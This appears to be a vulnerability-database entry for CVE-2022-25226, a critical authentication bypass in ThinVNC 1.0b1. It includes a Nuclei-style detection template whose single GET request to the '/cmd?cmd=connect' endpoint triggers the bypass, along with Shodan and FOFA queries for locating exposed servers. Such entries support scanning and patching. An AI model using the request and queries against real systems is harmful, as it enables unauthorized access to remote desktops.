CVE-2022-25226: ThinVNC - Authentication Bypass

2025-08-01 ThinVNC PoC Public

Description

ThinVNC version 1.0b1 allows an unauthenticated user to bypass the authentication process via a specific command, potentially leading to unauthorized access and code execution.

PoC

id: CVE-2022-25226

info:
  name: ThinVNC - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    ThinVNC version 1.0b1 allows an unauthenticated user to bypass the authentication process via a specific command, potentially leading to unauthorized access and code execution.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the ThinVNC server.
  remediation: |
    Apply the vendor-supplied patch or update to the latest version to mitigate the CVE-2022-25226 vulnerability.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2022-25226
    epss-score: 0.10989
    epss-percentile: 0.95669
    cpe: cpe:2.3:a:cybelsoft:thinvnc:1.0:b1:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: cybelsoft
    product: thinvnc
    shodan-query: http.favicon.hash:-1414548363
    fofa-query: icon_hash="571240285"
  tags: cve,cve2022,thinvnc,auth-bypass,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cmd?cmd=connect"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'cmd":"connectStatus'
          - 'authStatus":1'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204777ec978f7a783029603efd0281046716d13238c87e2cd4c6fdaf9c1e47ca02022100bcf516b763f83ffd121c3c106acc8aa896a3968ec56612890c5085d011b2e7f2:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities